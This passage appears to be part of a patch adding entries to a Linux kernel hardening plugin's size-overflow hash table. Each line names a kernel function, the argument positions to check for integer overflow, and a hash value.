++_000038_hash agp_alloc_page_array 1 22554 _000038_hash NULL
++_000039_hash ah_alloc_tmp 2-3 54378 _000039_hash NULL
++_000041_hash ahash_setkey_unaligned 3 33521 _000041_hash NULL
++_000042_hash alg_setkey 3 31485 _000042_hash NULL
++_000043_hash aligned_kmalloc 1 3628 _000043_hash NULL
++_000044_hash alloc_context 1 3194 _000044_hash NULL
++_000045_hash alloc_ep_req 2 54860 _000045_hash NULL
++_000046_hash alloc_fdmem 1 27083 _000046_hash NULL
++_000047_hash alloc_flex_gd 1 57259 _000047_hash NULL
++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL
++_000049_hash __alloc_skb 1 23940 _000049_hash NULL
++_000050_hash aoedev_flush 2 44398 _000050_hash NULL
++_000051_hash append_to_buffer 3 63550 _000051_hash NULL
++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL
++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL
++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL
++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL
++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL
++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL
++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL
++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL
++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL
++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL
++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL
++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL
++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL
++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray
++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL
++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL
++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL
++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL
++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL
++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL
++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL
++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL
++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL
++_000075_hash bch_alloc 1 4593 _000075_hash NULL
++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL
++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL
++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL
++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL
++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL
++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL
++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL
++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL
++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL
++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL
++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL
++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL
++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL
++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL
++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL
++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL
++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL
++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL
++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL
++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL
++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL
++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL
++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL
++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL
++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL
++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL
++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray
++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL
++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL
++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL
++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL
++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL
++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL
++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL
++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL
++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL
++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL
++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL
++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL
++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL
++_000122_hash change_xattr 5 61390 _000122_hash NULL
++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL
++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL
++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL
++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL
++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL
++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL
++_000129_hash clear_refs_write 3 61904 _000129_hash NULL
++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL
++_000131_hash cm4040_write 3 58079 _000131_hash NULL
++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL
++_000133_hash cmm_write 3 2896 _000133_hash NULL
++_000134_hash cm_write 3 36858 _000134_hash NULL
++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL
++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL
++_000137_hash command_file_write 3 31318 _000137_hash NULL
++_000138_hash command_write 3 58841 _000138_hash NULL
++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray
++_000140_hash concat_writev 3 21451 _000140_hash NULL
++_000141_hash copy_and_check 3 19089 _000141_hash NULL
++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL
++_000143_hash copy_items 6 50140 _000143_hash NULL
++_000144_hash copy_macs 4 45534 _000144_hash NULL
++_000145_hash __copy_to_user 3 17551 _000145_hash NULL
++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL
++_000147_hash core_sys_select 1 47494 _000147_hash NULL
++_000148_hash cosa_write 3 1774 _000148_hash NULL
++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL
++_000150_hash create_entry 2 33479 _000150_hash NULL
++_000151_hash create_queues 2-3 9088 _000151_hash NULL
++_000153_hash create_xattr 5 54106 _000153_hash NULL
++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray
++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL
++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL
++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL
++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL
++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL
++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray
++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL
++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL
++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL
++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL
++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL
++_000168_hash dev_config 3 8506 _000168_hash NULL
++_000169_hash device_write 3 45156 _000169_hash NULL
++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL
++_000171_hash devres_alloc 2 551 _000171_hash NULL
++_000172_hash dfs_file_write 3 41196 _000172_hash NULL
++_000173_hash direct_entry 3 38836 _000173_hash NULL
++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL
++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL
++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL
++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL
++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL
++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL
++_000180_hash dm_read 3 15674 _000180_hash NULL
++_000181_hash dm_write 3 2513 _000181_hash NULL
++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL
++_000183_hash dns_query 3 9676 _000183_hash NULL
++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL
++_000185_hash do_add_counters 3 3992 _000185_hash NULL
++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL
++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL
++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL
++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL
++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL
++_000191_hash do_register_entry 4 29478 _000191_hash NULL
++_000192_hash do_tty_write 5 44896 _000192_hash NULL
++_000193_hash do_update_counters 4 2259 _000193_hash NULL
++_000194_hash dsp_write 2 46218 _000194_hash NULL
++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL
++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL
++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL
++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL
++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL
++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL
++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL
++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL
++_000203_hash emi26_writememory 4 57908 _000203_hash NULL
++_000204_hash emi62_writememory 4 29731 _000204_hash NULL
++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL
++_000206_hash encrypted_update 3 13414 _000206_hash NULL
++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray
++_000208_hash ep_read 3 58813 _000208_hash NULL
++_000209_hash ep_write 3 59008 _000209_hash NULL
++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL
++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL
++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL
++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL
++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL
++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL
++_000217_hash fanotify_write 3 64623 _000217_hash NULL
++_000218_hash fd_copyin 3 56247 _000218_hash NULL
++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL
++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL
++_000221_hash f_hidg_write 3 7932 _000221_hash NULL
++_000222_hash file_read_actor 4 1401 _000222_hash NULL
++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL
++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray
++_000225_hash fl_create 5 56435 _000225_hash NULL
++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL
++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL
++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL
++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL
++_000230_hash garp_attr_create 3 3883 _000230_hash NULL
++_000231_hash get_arg 3 5694 _000231_hash NULL
++_000232_hash getdqbuf 1 62908 _000232_hash NULL
++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL
++_000234_hash get_fd_set 1 3866 _000234_hash NULL
++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL
++_000236_hash get_registers 3 26187 _000236_hash NULL
++_000237_hash get_scq 2 10897 _000237_hash NULL
++_000238_hash get_server_iovec 2 16804 _000238_hash NULL
++_000239_hash get_ucode_user 3 38202 _000239_hash NULL
++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL
++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL
++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL
++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL
++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL
++_000245_hash groups_alloc 1 7614 _000245_hash NULL
++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL
++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL
++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL
++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL
++_000250_hash handle_request 9 10024 _000250_hash NULL
++_000251_hash hashtab_create 3 33769 _000251_hash NULL
++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL
++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL
++_000254_hash heap_init 2 49617 _000254_hash NULL
++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL
++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL
++_000257_hash hid_parse_report 3 51737 _000257_hash NULL
++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL
++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL
++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL
++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL
++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL
++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL
++_000264_hash i2cdev_read 3 1206 _000264_hash NULL
++_000265_hash i2cdev_write 3 23310 _000265_hash NULL
++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL
++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL
++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL
++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL
++_000270_hash ib_umad_write 3 47993 _000270_hash NULL
++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL
++_000272_hash icn_writecmd 2 38629 _000272_hash NULL
++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL
++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL
++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL
++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL
++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL
++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL
++_000279_hash if_write 3 51756 _000279_hash NULL
++_000280_hash ilo_write 3 64378 _000280_hash NULL
++_000281_hash ima_write_policy 3 40548 _000281_hash NULL
++_000282_hash init_data_container 1 60709 _000282_hash NULL
++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL
++_000284_hash insert_dent 7 65034 _000284_hash NULL
++_000285_hash interpret_user_input 2 19393 _000285_hash NULL
++_000286_hash int_proc_write 3 39542 _000286_hash NULL
++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL
++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL
++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL
++_000290_hash iowarrior_write 3 18604 _000290_hash NULL
++_000291_hash ipc_alloc 1 1192 _000291_hash NULL
++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL
++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL
++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL
++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray
++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL
++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL
++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL
++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray
++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL
++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL
++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL
++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL
++_000304_hash isdn_read 3 50021 _000304_hash NULL
++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL
++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL
++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL
++_000308_hash iso_callback 3 43208 _000308_hash NULL
++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL
++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL
++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL
++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray
++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL
++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray
++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL
++_000316_hash kcalloc 1-2 27770 _000316_hash NULL
++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL
++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL
++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL
++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL
++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray
++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL
++_000325_hash kmem_alloc 1 31920 _000325_hash NULL
++_000326_hash kobj_map 2-3 9566 _000326_hash NULL
++_000328_hash kone_receive 4 4690 _000328_hash NULL
++_000329_hash kone_send 4 63435 _000329_hash NULL
++_000330_hash krealloc 2 14908 _000330_hash NULL
++_000331_hash kvmalloc 1 32646 _000331_hash NULL
++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL
++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL
++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL
++_000335_hash kzalloc 1 54740 _000335_hash NULL
++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL
++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL
++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL
++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL
++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash
++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL
++_000342_hash __lgread 4 31668 _000342_hash NULL
++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL
++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL
++_000345_hash listxattr 3 12769 _000345_hash NULL
++_000346_hash load_msg 2 95 _000346_hash NULL
++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL
++_000348_hash lp_write 3 9511 _000348_hash NULL
++_000349_hash mb_cache_create 2 17307 _000349_hash NULL
++_000350_hash mce_write 3 26201 _000350_hash NULL
++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL
++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL
++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL
++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL
++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray
++_000357_hash mem_rw 3 22085 _000357_hash NULL
++_000358_hash mgmt_control 3 7349 _000358_hash NULL
++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL
++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL
++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL
++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL
++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL
++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL
++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL
++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL
++_000367_hash mpi_resize 2 44674 _000367_hash NULL
++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL
++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL
++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray
++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL
++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL
++_000373_hash mtf_test_write 3 18844 _000373_hash NULL
++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray
++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL
++_000377_hash mthca_array_init 2 39987 _000377_hash NULL
++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL
++_000379_hash mtrr_write 3 59622 _000379_hash NULL
++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL
++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL
++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL
++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray
++_000385_hash ncp_file_write 3 3813 _000385_hash NULL
++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL
++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL
++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL
++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL
++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL
++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL
++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL
++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL
++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL
++_000396_hash note_last_dentry 3 12285 _000396_hash NULL
++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL
++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL
++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL
++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL
++_000404_hash nvram_write 3 3894 _000404_hash NULL
++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL
++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray
++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL
++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL
++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL
++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL
++_000411_hash opticon_write 4 60775 _000411_hash NULL
++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL
++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL
++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL
++_000415_hash parse_command 2 37079 _000415_hash NULL
++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL
++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL
++_000418_hash pgctrl_write 3 50453 _000418_hash NULL
++_000419_hash pg_write 3 40766 _000419_hash NULL
++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL
++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL
++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL
++_000423_hash pkt_add 3 39897 _000423_hash NULL
++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL
++_000425_hash platform_device_add_data 3 310 _000425_hash NULL
++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL
++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL
++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL
++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL
++_000430_hash pool_allocate 3 42012 _000430_hash NULL
++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL
++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL
++_000433_hash ppp_write 3 34034 _000433_hash NULL
++_000434_hash pp_read 3 33210 _000434_hash NULL
++_000435_hash pp_write 3 39554 _000435_hash NULL
++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL
++_000437_hash printer_write 3 60276 _000437_hash NULL
++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL
++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL
++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL
++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL
++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL
++_000443_hash _proc_do_string 2 6376 _000443_hash NULL
++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL
++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL
++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL
++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL
++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL
++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL
++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL
++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL
++_000454_hash pti_char_write 3 60960 _000454_hash NULL
++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL
++_000456_hash pt_write 3 40159 _000456_hash NULL
++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL
++_000458_hash r3964_write 4 57662 _000458_hash NULL
++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL
++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL
++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL
++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL
++_000463_hash rbd_add 3 16366 _000463_hash NULL
++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL
++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL
++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL
++_000467_hash read 3 9397 _000467_hash NULL
++_000468_hash read_buf 2 20469 _000468_hash NULL
++_000469_hash read_cis_cache 4 29735 _000469_hash NULL
++_000470_hash realloc_buffer 2 25816 _000470_hash NULL
++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL
++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL
++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL
++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL
++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL
++_000476_hash regset_tls_set 4 18459 _000476_hash NULL
++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray
++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL
++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL
++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL
++_000481_hash revalidate 2 19043 _000481_hash NULL
++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL
++_000483_hash rndis_add_response 2 58544 _000483_hash NULL
++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL
++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray
++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL
++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL
++_000488_hash rpc_malloc 2 43573 _000488_hash NULL
++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL
++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL
++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL
++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL
++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL
++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray
++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL
++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL
++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray
++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL
++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL
++_000500_hash savemem 3 58129 _000500_hash NULL
++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL
++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL
++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL
++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL
++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL
++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL
++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL
++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL
++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL
++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray
++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL
++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL
++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL
++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL
++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL
++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL
++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL
++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL
++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL
